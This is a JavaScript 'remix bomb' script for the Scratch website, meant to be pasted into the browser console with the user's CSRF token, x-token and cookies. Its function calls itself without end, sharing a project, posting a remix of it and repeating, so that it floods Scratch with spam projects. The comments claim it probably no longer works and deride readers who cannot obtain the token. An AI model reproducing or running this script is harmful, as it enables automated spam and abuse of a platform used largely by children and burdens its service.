// JSBOMBING IS DEAD THERE IS NO POINT USING THIS // THIS PROBABLY WON'T WORK ANYMORE DUE TO SCRATCH UPDATES (FIND THE SEAHORSEBOMB YOURSELF) // You need to do something different to find x-token, but it's similar. // If you can't figure it out, you're a skid. // This Scratch Javascript remix bomb was made by Derv, not me (TS2021). // To use this, execute the code below into your console (Inspect Element - Console section) // You will need to include the project.json (check instructions.js) // Settings var e = 1 // This is the project id of the starting project var h = 1 // This will be the next project's remix number. var csrf = "" // your scratch X-CSRFToken (check the bottom of this page to see how to get this) var xtoken = "" // your scratch x-token (check the bottom of this page to see how to get this) var cookies = `` // scratch browser cookies (don't edit) // Code jsbomb = async function() { fetch("https://api.scratch.mit.edu/proxy/projects/" + e + "/share", { "credentials": "include", "headers": { "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "X-CSRFToken": csrf, "x-token": xtoken, "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site", "cookie": cookies }, "referrer": "https://scratch.mit.edu/", "method": "PUT", "mode": "cors" }); e = await fetch("https://projects.scratch.mit.edu/?is_remix=1&original_id=" + e + "&title=Scratch%20Project", { "credentials": "include", "headers": { "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/json", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site", "cookie": cookies }, "referrer": "https://scratch.mit.edu/", "body": 'text here', // the project.json will go here. this will be what the project will contain. "method": "POST", "mode": "cors" }); console.log(e); e = await e.json(); e = e["content-name"]; h = h + 1 console.log(h - 1); // this logs the project's remix number to your console console.log(e) // this logs the project's id to your console jsbomb(); } jsbomb(); // JSBOMBING IS DEAD THERE IS NO POINT USING THIS